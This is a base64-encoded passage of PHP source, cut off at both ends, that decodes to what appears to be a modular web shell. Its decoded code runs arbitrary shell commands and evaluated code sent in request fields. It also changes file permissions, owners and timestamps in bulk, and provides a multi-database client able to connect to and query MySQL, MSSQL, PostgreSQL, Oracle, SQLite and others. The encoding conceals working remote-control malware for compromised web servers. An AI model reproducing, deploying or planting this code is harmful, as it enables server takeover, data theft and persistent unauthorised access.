HNlaWYoIWVtcHR5KCRtYXNzVmFsdWUpKXsKCQkJCQlpZigkbWFzc1R5cGU9PSdjaG1vZCcpewoJCQkJCQlpZihjaG1vZCgkcGF0aCwgb2N0ZGVjKCRtYXNzVmFsdWUpKSkgJGNvdW50ZXIrKzsKCQkJCQl9CgkJCQkJZWxzZWlmKCRtYXNzVHlwZT09J2Nob3duJyl7CgkJCQkJCWlmKGNob3duKCRwYXRoLCAkbWFzc1ZhbHVlKSkgJGNvdW50ZXIrKzsKCQkJCQl9CgkJCQkJZWxzZWlmKCRtYXNzVHlwZT09J3RvdWNoJyl7CgkJCQkJCWlmKHRvdWNoKCRwYXRoLCBzdHJ0b3RpbWUoJG1hc3NWYWx1ZSkpKSAkY291bnRlcisrOwoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KCWlmKCRjb3VudGVyPjApIG91dHB1dCgkY291bnRlcik7CglvdXRwdXQoJ2Vycm9yJyk7Cn0KZWxzZWlmKGlzc2V0KCRwWyd2aWV3RmlsZW9yRm9sZGVyJ10pKXsKCSRlbnRyeSA9ICRwWyd2aWV3RmlsZW9yRm9sZGVyJ107CglpZihpc19maWxlKCRlbnRyeSkpIG91dHB1dCgnZmlsZScpOwoJZWxzZWlmKGlzX2RpcigkZW50cnkpKSBvdXRwdXQoJ2ZvbGRlcicpOwoJb3V0cHV0KCdlcnJvcicpOwp9CmVsc2VpZihpc3NldCgkcFsndGVybWluYWxJbnB1dCddKSl7CglvdXRwdXQoaHRtbF9zYWZlKGV4ZWN1dGUoJHBbJ3Rlcm1pbmFsSW5wdXQnXSkpKTsKfQplbHNlaWYoaXNzZXQoJHBbJ2V2YWxJbnB1dCddKSAmJiBpc3NldCgkcFsnZXZhbFR5cGUnXSkpewoJJGV2YWxJbnB1dCA9ICRwWydldmFsSW5wdXQnXTsKCSRldmFsT3B0aW9ucyA9IChpc3NldCgkcFsnZXZhbE9wdGlvbnMnXSkpPyAkcFsnZXZhbE9wdGlvbnMnXToiIjsKCSRldmFsQXJndW1lbnRzID0gKGlzc2V0KCRwWydldmFsQXJndW1lbnRzJ10pKT8gJHBbJ2V2YWxBcmd1bWVudHMnXToiIjsKCSRldmFsVHlwZSA9ICRwWydldmFsVHlwZSddOwoKCWVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9XQVJOSU5HIHwgRV9QQVJTRSB8IEVfTk9USUNFKTsKCUBpbmlfc2V0KCdodG1sX2Vycm9ycycsJzAnKTsKCUBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsJzEnKTsKCUBpbmlfc2V0KCdkaXNwbGF5X3N0YXJ0dXBfZXJyb3JzJywnMScpOwoKCSRyZXMgPSBldmFsX2dvKCRldmFsVHlwZSwgJGV2YWxJbnB1dCwgJGV2YWxPcHRpb25zLCAkZXZhbEFyZ3VtZW50cyk7CglpZigkcmVzPT09ZmFsc2UpICRyZXMgPT0gImVycm9yIjsKCW91dHB1dChodG1sX3NhZmUoJHJlcykpOwp9CmVsc2VpZihpc3NldCgkcFsnZXZhbEdldFN1cHBvcnRlZCddKSl7CgkkcmVzID0gZXZhbF9nZXRfc3VwcG9ydGVkKCk7CglvdXRwdXQoJHJlcyk7Cn0KJEdMT0JBTFNbJ21vZHVsZSddWydjb252ZXJ0J11bJ2lkJ10gPSAiY29udmVydCI7CiRHTE9CQUxTWydtb2R1bGUnXVsnY29udmVydCddWyd0aXRsZSddID0gIkNvbnZlcnQiOwokR0xPQkFMU1snbW9kdWxlJ11bJ2NvbnZlcnQnXVsnanNfb250YWJzZWxlY3RlZCddID0gIgppZigoIXBvcnRhYmxlTW9kZSkgJiYgKCQoJyNkZWNvZGVSZXN1bHQnKS5jaGlsZHJlbigpLmxlbmd0aD09MSkpICQoJyNkZWNvZGVTdHInKS5mb2N1cygpOyI7CiRHTE9CQUxTWydtb2R1bGUnXVsnY29udmVydCddWydjb250ZW50J10gPSAiCjx0YWJsZSBjbGFzcz0nYm94dGJsJz4KPHRoZWFkPgoJPHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPkNvbnZlcnQ8L3A+PC90aD48L3RyPgo8L3RoZWFkPgo8dGJvZHk+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBzdHlsZT0naGVpZ2h0OjE0MHB4O21pbi1oZWlnaHQ6MTQwcHg7JyBpZD0nZGVjb2RlU3RyJz48L3RleHRhcmVhPjwvdGQ+PC90cj4KCTx0cj48dGQgY29sc3Bhbj0nMic+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz0nZGVjb2RlX2dvKCk7Jz5jb252ZXJ0PC9zcGFuPjwvdGQ+PC90cj4KPC90Ym9keT4KPHRmb290IGlkPSdkZWNvZGVSZXN1bHQnPjx0cj48dGQgY29sc3Bhbj0nMic+WW91IGNhbiBhbHNvIHByZXNzIGN0cmwrZW50ZXIgdG8gc3VibWl0PC90ZD48L3RyPjwvdGZvb3Q+CjwvdGFibGU+IjsKCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2RlY29kZScpKXsKCWZ1bmN0aW9uIGRlY29kZSgkc3RyKXsKCQkkcmVzID0gIiI7CgkJJGxlbmd0aCA9IChpbnQpIHN0cmxlbigkc3RyKTsKCgkJJHJlcyAuPSBkZWNvZGVfbGluZSgibWQ1IiwgbWQ1KCRzdHIpLCAiaW5wdXQiKTsKCQkkcmVzIC49IGRlY29kZV9saW5lKCJzaGExIiwgc2hhMSgkc3RyKSwgImlucHV0Iik7CgoJCSRyZXMgLj0gZGVjb2RlX2xpbmUoImJhc2U2NCBlbmNvZGUiLCBiYXNlNjRfZW5jb2RlKCRzdHIpLCAidGV4dGFyZWEiKTsKCQkkcmVzIC49IGRlY29kZV9saW5lKCJiYXNlNjQgZGVjb2RlIiwgYmFzZTY0X2RlY29kZSgkc3RyKSwgInRleHRhcmVhIik7CgoKCQkkcmVzIC49IGRlY29kZV9saW5lKCJoZXggdG8gc3RyaW5nIiwgQHBhY2soIkgqIiAsICRzdHIpLCAidGV4dGFyZWEiKTsKCQkkcmVzIC49IGRlY29kZV9saW5lKCJzdHJpbmcgdG8gaGV4IiwgYmluMmhleCgkc3RyKSwgInRleHRhcmVhIik7CgoJCSRhc2NpaSA9ICIiOwoJCWZvcigkaT0wOyAkaTwkbGVuZ3RoOyAkaSsrKXsKCQkJJGFzY2lpIC49IG9yZChzdWJzdHIoJHN0ciwkaSwxKSkuIiAiOwoJCX0KCQkkcmVzIC49IGRlY29kZV9saW5lKCJhc2NpaSBjaGFyIiwgdHJpbSgkYXNjaWkpLCAidGV4dGFyZWEiKTsKCgkJJHJlcyAuPSBkZWNvZGVfbGluZSgicmV2ZXJzZWQiLCBzdHJyZXYoJHN0ciksICJ0ZXh0YXJlYSIpOwoJCSRyZXMgLj0gZGVjb2RlX2xpbmUoImxvd2VyY2FzZSIsIHN0cnRvbG93ZXIoJHN0ciksICJ0ZXh0YXJlYSIpOwoJCSRyZXMgLj0gZGVjb2RlX2xpbmUoInVwcGVyY2FzZSIsIHN0cnRvdXBwZXIoJHN0ciksICJ0ZXh0YXJlYSIpOwoKCQkkcmVzIC49IGRlY29kZV9saW5lKCJ1cmxlbmNvZGUiLCB1cmxlbmNvZGUoJHN0ciksICJ0ZXh0YXJlYSIpOwoJCSRyZXMgLj0gZGVjb2RlX2xpbmUoInVybGRlY29kZSIsIHVybGRlY29kZSgkc3RyKSwgInRleHRhcmVhIik7CgkJJHJlcyAuPSBkZWNvZGVfbGluZSgicmF3dXJsZW5jb2RlIiwgcmF3dXJsZW5jb2RlKCRzdHIpLCAidGV4dGFyZWEiKTsKCQkkcmVzIC49IGRlY29kZV9saW5lKCJyYXd1cmxkZWNvZGUiLCByYXd1cmxkZWNvZGUoJHN0ciksICJ0ZXh0YXJlYSIpOwoKCQkkcmVzIC49IGRlY29kZV9saW5lKCJodG1sZW50aXRpZXMiLCBodG1sX3NhZmUoJHN0ciksICJ0ZXh0YXJlYSIpOwoKCQlpZihmdW5jdGlvbl9leGlzdHMoJ2hhc2hfYWxnb3MnKSl7CgkJCSRhbGdvcyA9IGhhc2hfYWxnb3MoKTsKCQkJZm9yZWFjaCgkYWxnb3MgYXMgJGFsZ28pewoJCQkJaWYoKCRhbGdvPT0nbWQ1Jyl8fCgkYWxnbz09J3NoYTEnKSkgY29udGludWU7CgkJCQkkcmVzIC49IGRlY29kZV9saW5lKCRhbGdvLCBoYXNoKCRhbGdvLCAkc3RyKSwgImlucHV0Iik7CgkJCX0KCQl9CgoJCXJldHVybiAkcmVzOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdkZWNvZGVfbGluZScpKXsKCWZ1bmN0aW9uIGRlY29kZV9saW5lKCR0eXBlLCAkcmVzdWx0LCAkaW5wdXR0eXBlKXsKCQkkcmVzID0gIjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+Ii4kdHlwZS4iPC90ZD48dGQ+IjsKCQlpZigkaW5wdXR0eXBlPT0naW5wdXQnKXsKCQkJJHJlcyAuPSAiPGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciLmh0bWxfc2FmZSgkcmVzdWx0KS4iJyBvbmRibGNsaWNrPSd0aGlzLnNlbGVjdCgpOyc+IjsKCQl9CgkJZWxzZXsKCQkJJHJlcyAuPSAiPHRleHRhcmVhIHN0eWxlPSdoZWlnaHQ6ODBweDttaW4taGVpZ2h0OjgwcHg7JyBvbmRibGNsaWNrPSd0aGlzLnNlbGVjdCgpOyc+Ii5odG1sX3NhZmUoJHJlc3VsdCkuIjwvdGV4dGFyZWE+IjsKCQl9CgkJcmV0dXJuICRyZXM7Cgl9Cn0KCmlmKGlzc2V0KCRwWydkZWNvZGVTdHInXSkpewoJJGRlY29kZVN0ciA9ICRwWydkZWNvZGVTdHInXTsKCW91dHB1dChkZWNvZGUoJGRlY29kZVN0cikpOwp9CiRHTE9CQUxTWydtb2R1bGUnXVsnZGF0YWJhc2UnXVsnaWQnXSA9ICJkYXRhYmFzZSI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZGF0YWJhc2UnXVsndGl0bGUnXSA9ICJEYXRhYmFzZSI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZGF0YWJhc2UnXVsnanNfb250YWJzZWxlY3RlZCddID0gIiI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZGF0YWJhc2UnXVsnY29udGVudCddID0gIgo8dGFibGUgY2xhc3M9J2JveHRibCc+Cjx0aGVhZD4KCTx0cj48dGggY29sc3Bhbj0nMyc+PHAgY2xhc3M9J2JveHRpdGxlJz5Db25uZWN0PC9wPjwvdGg+PC90cj4KPC90aGVhZD4KPHRib2R5PgoJPHRyIGNsYXNzPSdkYkhvc3RSb3cnPjx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHgnIGNsYXNzPSdkYkhvc3RMYmwnPkhvc3Q8L3RkPjx0ZCBjb2xzcGFuPScyJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2RiSG9zdCcgdmFsdWU9Jycgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2RiX2Nvbm5lY3QnKTtcIj48L3RkPjwvdHI+Cgk8dHIgY2xhc3M9J2RiVXNlclJvdyc+PHRkPlVzZXJuYW1lPC90ZD48dGQgY29sc3Bhbj0nMic+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkYlVzZXInIHZhbHVlPScnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdkYl9jb25uZWN0Jyk7XCI+PC90ZD48L3RyPgoJPHRyIGNsYXNzPSdkYlBhc3NSb3cnPjx0ZD5QYXNzd29yZDwvdGQ+PHRkIGNvbHNwYW49JzInPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZGJQYXNzJyB2YWx1ZT0nJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZGJfY29ubmVjdCcpO1wiPjwvdGQ+PC90cj4KCTx0ciBjbGFzcz0nZGJQb3J0Um93Jz48dGQ+UG9ydCAoT3B0aW9uYWwpPC90ZD48dGQgY29sc3Bhbj0nMic+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkYlBvcnQnIHZhbHVlPScnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdkYl9jb25uZWN0Jyk7XCI+PC90ZD48L3RyPgo8L3Rib2R5Pgo8dGZvb3Q+Cgk8dHIgY2xhc3M9J2RiQ29ubmVjdFJvdyc+CgkJPHRkIHN0eWxlPSd3aWR0aDoxNDRweDsnPgoJCQk8c2VsZWN0IGlkPSdkYlR5cGUnPgoJCQk8L3NlbGVjdD4KCQk8L3RkPgoJCTx0ZCBzdHlsZT0nd2lkdGg6MTIwcHg7Jz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZGJfY29ubmVjdCgpO1wiPmNvbm5lY3Q8L3NwYW4+PC90ZD4KCQk8dGQgY2xhc3M9J2RiRXJyb3InPjwvdGQ+Cgk8L3RyPgoJPHRyIGNsYXNzPSdkYlF1ZXJ5Um93JyBzdHlsZT0nZGlzcGxheTpub25lOyc+CgkJPHRkIGNvbHNwYW49JzMnPjx0ZXh0YXJlYSBpZD0nZGJRdWVyeScgc3R5bGU9J21pbi1oZWlnaHQ6MTQwcHg7aGVpZ2h0OjE0MHB4Oyc+WW91IGNhbiBhbHNvIHByZXNzIGN0cmwrZW50ZXIgdG8gc3VibWl0PC90ZXh0YXJlYT48L3RkPgoJPC90cj4KCTx0ciBjbGFzcz0nZGJRdWVyeVJvdycgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPgoJCTx0ZCBzdHlsZT0nd2lkdGg6MTIwcHg7Jz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZGJfcnVuKCk7XCI+cnVuPC9zcGFuPjwvdGQ+CgkJPHRkIHN0eWxlPSd3aWR0aDoxMjBweDsnPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJkYl9kaXNjb25uZWN0KCk7XCI+ZGlzY29ubmVjdDwvc3Bhbj48L3RkPgoJCTx0ZD5TZXBhcmF0ZSBtdWx0aXBsZSBjb21tYW5kcyB3aXRoIGEgc2VtaWNvbG9uIDxzcGFuIGNsYXNzPSdzdHJvbmcnPig8L3NwYW4+IDsgPHNwYW4gY2xhc3M9J3N0cm9uZyc+KTwvc3Bhbj48L3RkPgoJPC90cj4KPC90Zm9vdD4KPC90YWJsZT4KPGRpdiBpZD0nZGJCb3R0b20nIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KPGJyPgo8dGFibGUgY2xhc3M9J2JvcmRlcicgc3R5bGU9J3BhZGRpbmc6MDsnPjx0cj48dGQgaWQ9J2RiTmF2JyBjbGFzcz0nY29sRml0IGJvcmRlcnJpZ2h0JyBzdHlsZT0ndmVydGljYWwtYWxpZ246dG9wOyc+PC90ZD48dGQgaWQ9J2RiUmVzdWx0JyBzdHlsZT0ndmVydGljYWwtYWxpZ246dG9wOyc+PC90ZD48L3RyPjwvdGFibGU+CjwvZGl2PgoiOwoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX2Nvbm5lY3QnKSl7CglmdW5jdGlvbiBzcWxfY29ubmVjdCgkc3FsdHlwZSwgJHNxbGhvc3QsICRzcWx1c2VyLCAkc3FscGFzcyl7CgkJaWYoJHNxbHR5cGUgPT0gJ215c3FsJyl7CgkJCWlmKGNsYXNzX2V4aXN0cygnbXlzcWxpJykpIHJldHVybiBuZXcgbXlzcWxpKCRzcWxob3N0LCAkc3FsdXNlciwgJHNxbHBhc3MpOwoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHJldHVybiBAbXlzcWxfY29ubmVjdCgkc3FsaG9zdCwgJHNxbHVzZXIsICRzcWxwYXNzKTsKCQl9CgkJZWxzZWlmKCRzcWx0eXBlID09ICdtc3NxbCcpewoJCQlpZihmdW5jdGlvbl9leGlzdHMoJ3NxbHNydl9jb25uZWN0JykpewoJCQkJJGNvbmluZm8gPSBhcnJheSgiVUlEIj0+JHNxbHVzZXIsICJQV0QiPT4kc3FscGFzcyk7CgkJCQlyZXR1cm4gQHNxbHNydl9jb25uZWN0KCRzcWxob3N0LCRjb25pbmZvKTsKCQkJfQoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpIHJldHVybiBAbXNzcWxfY29ubmVjdCgkc3FsaG9zdCwgJHNxbHVzZXIsICRzcWxwYXNzKTsKCQl9CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZ3NxbCcpewoJCQkkaG9zdHMgPSBleHBsb2RlKCI6IiwgJHNxbGhvc3QpOwoJCQlpZihjb3VudCgkaG9zdHMpPT0yKXsKCQkJCSRob3N0X3N0ciA9ICJob3N0PSIuJGhvc3RzWzBdLiIgcG9ydD0iLiRob3N0c1sxXTsKCQkJfQoJCQllbHNlICRob3N0X3N0ciA9ICJob3N0PSIuJHNxbGhvc3Q7CgkJCWlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKSByZXR1cm4gQHBnX2Nvbm5lY3QoIiRob3N0X3N0ciB1c2VyPSRzcWx1c2VyIHBhc3N3b3JkPSRzcWxwYXNzIik7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJyl7IGlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkgcmV0dXJuIEBvY2lfY29ubmVjdCgkc3FsdXNlciwgJHNxbHBhc3MsICRzcWxob3N0KTsgfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlMycpewoJCQlpZihjbGFzc19leGlzdHMoJ1NRTGl0ZTMnKSkgaWYoIWVtcHR5KCRzcWxob3N0KSkgcmV0dXJuIG5ldyBTUUxpdGUzKCRzcWxob3N0KTsKCQkJZWxzZSByZXR1cm4gZmFsc2U7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJyl7IGlmKGZ1bmN0aW9uX2V4aXN0cygnc3FsaXRlX29wZW4nKSkgcmV0dXJuIEBzcWxpdGVfb3Blbigkc3FsaG9zdCk7IH0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ29kYmMnKXsgaWYoZnVuY3Rpb25fZXhpc3RzKCdvZGJjX2Nvbm5lY3QnKSkgcmV0dXJuIEBvZGJjX2Nvbm5lY3QoJHNxbGhvc3QsICRzcWx1c2VyLCAkc3FscGFzcyk7IH0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3BkbycpewoJCQlpZihjbGFzc19leGlzdHMoJ1BETycpKSBpZighZW1wdHkoJHNxbGhvc3QpKSByZXR1cm4gbmV3IFBETygkc3FsaG9zdCwgJHNxbHVzZXIsICRzcWxwYXNzKTsKCQkJZWxzZSByZXR1cm4gZmFsc2U7CgkJfQoJCXJldHVybiBmYWxzZTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX3F1ZXJ5JykpewoJZnVuY3Rpb24gc3FsX3F1ZXJ5KCRzcWx0eXBlLCAkcXVlcnksICRjb24pewoJCWlmKCRzcWx0eXBlID09ICdteXNxbCcpewoJCQlpZihjbGFzc19leGlzdHMoJ215c3FsaScpKSByZXR1cm4gJGNvbi0+cXVlcnkoJHF1ZXJ5KTsKCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfcXVlcnknKSkgcmV0dXJuIG15c3FsX3F1ZXJ5KCRxdWVyeSk7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnbXNzcWwnKXsKCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfcXVlcnknKSkgcmV0dXJuIHNxbHNydl9xdWVyeSgkY29uLCRxdWVyeSk7CgkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX3F1ZXJ5JykpIHJldHVybiBtc3NxbF9xdWVyeSgkcXVlcnkpOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX3F1ZXJ5KCRxdWVyeSk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdvcmFjbGUnKSByZXR1cm4gb2NpX2V4ZWN1dGUob2NpX3BhcnNlKCRjb24sICRxdWVyeSkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlMycpIHJldHVybiAkY29uLT5xdWVyeSgkcXVlcnkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJykgcmV0dXJuIHNxbGl0ZV9xdWVyeSgkY29uLCAkcXVlcnkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBvZGJjX2V4ZWMoJGNvbiwgJHF1ZXJ5KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3BkbycpIHJldHVybiAkY29uLT5xdWVyeSgkcXVlcnkpOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdzcWxfbnVtX3Jvd3MnKSl7CglmdW5jdGlvbiBzcWxfbnVtX3Jvd3MoJHNxbHR5cGUsJHJlc3VsdCl7CgkJaWYoJHNxbHR5cGUgPT0gJ215c3FsJyl7CgkJCWlmKGNsYXNzX2V4aXN0cygnbXlzcWxpX3Jlc3VsdCcpKSByZXR1cm4gJHJlc3VsdC0+bXlzcWxpX251bV9yb3dzOwoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9udW1fcm93cycpKSByZXR1cm4gbXlzcWxfbnVtX3Jvd3MoJHJlc3VsdCk7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnbXNzcWwnKXsKCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfbnVtX3Jvd3MnKSkgcmV0dXJuIHNxbHNydl9udW1fcm93cygkcmVzdWx0KTsKCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfbnVtX3Jvd3MnKSkgcmV0dXJuIG1zc3FsX251bV9yb3dzKCRyZXN1bHQpOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX251bV9yb3dzKCRyZXN1bHQpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJykgcmV0dXJuIG9jaV9udW1fcm93cygkcmVzdWx0KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZTMnKXsKCQkJJG1ldGFkYXRhID0gJHJlc3VsdC0+ZmV0Y2hBcnJheSgpOwoJCQlpZihpc19hcnJheSgkbWV0YWRhdGEpKSByZXR1cm4gJG1ldGFkYXRhWydjb3VudCddOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZScpIHJldHVybiBzcWxpdGVfbnVtX3Jvd3MoJHJlc3VsdCk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdvZGJjJykgcmV0dXJuIG9kYmNfbnVtX3Jvd3MoJHJlc3VsdCk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZG8nKSByZXR1cm4gJHJlc3VsdC0+cm93Q291bnQoKTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX251bV9maWVsZHMnKSl7CglmdW5jdGlvbiBzcWxfbnVtX2ZpZWxkcygkc3FsdHlwZSwgJHJlc3VsdCl7CgkJaWYoJHNxbHR5cGUgPT0gJ215c3FsJyl7CgkJCWlmKGNsYXNzX2V4aXN0cygnbXlzcWxpX3Jlc3VsdCcpKSByZXR1cm4gJHJlc3VsdC0+ZmllbGRfY291bnQ7CgkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX251bV9maWVsZHMnKSkgcmV0dXJuIG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnbXNzcWwnKXsKCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfbnVtX2ZpZWxkcycpKSByZXR1cm4gc3Fsc3J2X251bV9maWVsZHMoJHJlc3VsdCk7CgkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX251bV9maWVsZHMnKSkgcmV0dXJuIG1zc3FsX251bV9maWVsZHMoJHJlc3VsdCk7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAncGdzcWwnKSByZXR1cm4gcGdfbnVtX2ZpZWxkcygkcmVzdWx0KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ29yYWNsZScpIHJldHVybiBvY2lfbnVtX2ZpZWxkcygkcmVzdWx0KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZTMnKSByZXR1cm4gJHJlc3VsdC0+bnVtQ29sdW1ucygpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJykgcmV0dXJuIHNxbGl0ZV9udW1fZmllbGRzKCRyZXN1bHQpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBvZGJjX251bV9maWVsZHMoJHJlc3VsdCk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZG8nKSByZXR1cm4gJHJlc3VsdC0+Y29sdW1uQ291bnQoKTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX2ZpZWxkX25hbWUnKSl7CglmdW5jdGlvbiBzcWxfZmllbGRfbmFtZSgkc3FsdHlwZSwkcmVzdWx0LCRpKXsKCQlpZigkc3FsdHlwZSA9PSAnbXlzcWwnKXsKCQkJaWYoY2xhc3NfZXhpc3RzKCdteXNxbGlfcmVzdWx0JykpIHsgJHo9JHJlc3VsdC0+ZmV0Y2hfZmllbGQoKTtyZXR1cm4gJHotPm5hbWU7fQoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9maWVsZF9uYW1lJykpIHJldHVybiBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ21zc3FsJyl7CgkJCWlmKGZ1bmN0aW9uX2V4aXN0cygnc3Fsc3J2X2ZpZWxkX21ldGFkYXRhJykpewoJCQkJJG1ldGFkYXRhID0gc3Fsc3J2X2ZpZWxkX21ldGFkYXRhKCRyZXN1bHQpOwoJCQkJaWYoaXNfYXJyYXkoJG1ldGFkYXRhKSl7CgkJCQkJJG1ldGFkYXRhPSRtZXRhZGF0YVskaV07CgkJCQl9CgkJCQlpZihpc19hcnJheSgkbWV0YWRhdGEpKSByZXR1cm4gJG1ldGFkYXRhWydOYW1lJ107CgkJCX0KCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfZmllbGRfbmFtZScpKSByZXR1cm4gbXNzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsKCQl9CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZ3NxbCcpIHJldHVybiBwZ19maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJykgcmV0dXJuIG9jaV9maWVsZF9uYW1lKCRyZXN1bHQsJGkrMSk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdzcWxpdGUzJykgcmV0dXJuICRyZXN1bHQtPmNvbHVtbk5hbWUoJGkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJykgcmV0dXJuIHNxbGl0ZV9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBvZGJjX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSsxKTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3BkbycpewoJCQkkcmVzID0gJHJlc3VsdC0+Z2V0Q29sdW1uTWV0YSgkaSk7CgkJCXJldHVybiAkcmVzWyduYW1lJ107CgkJfQoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdzcWxfZmV0Y2hfZGF0YScpKXsKCWZ1bmN0aW9uIHNxbF9mZXRjaF9kYXRhKCRzcWx0eXBlLCRyZXN1bHQpewoJCWlmKCRzcWx0eXBlID09ICdteXNxbCcpewoJCQlpZihjbGFzc19leGlzdHMoJ215c3FsaV9yZXN1bHQnKSkgcmV0dXJuICRyZXN1bHQtPmZldGNoX3JvdygpOwoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9mZXRjaF9yb3cnKSkgcmV0dXJuIG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KTsKCQl9CgkJZWxzZWlmKCRzcWx0eXBlID09ICdtc3NxbCcpewoJCQlpZihmdW5jdGlvbl9leGlzdHMoJ3NxbHNydl9mZXRjaF9hcnJheScpKSByZXR1cm4gc3Fsc3J2X2ZldGNoX2FycmF5KCRyZXN1bHQsMSk7CgkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2ZldGNoX3JvdycpKSByZXR1cm4gbXNzcWxfZmV0Y2hfcm93KCRyZXN1bHQpOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX2ZldGNoX3JvdygkcmVzdWx0KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ29yYWNsZScpIHJldHVybiBvY2lfZmV0Y2hfcm93KCRyZXN1bHQpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlMycpIHJldHVybiAkcmVzdW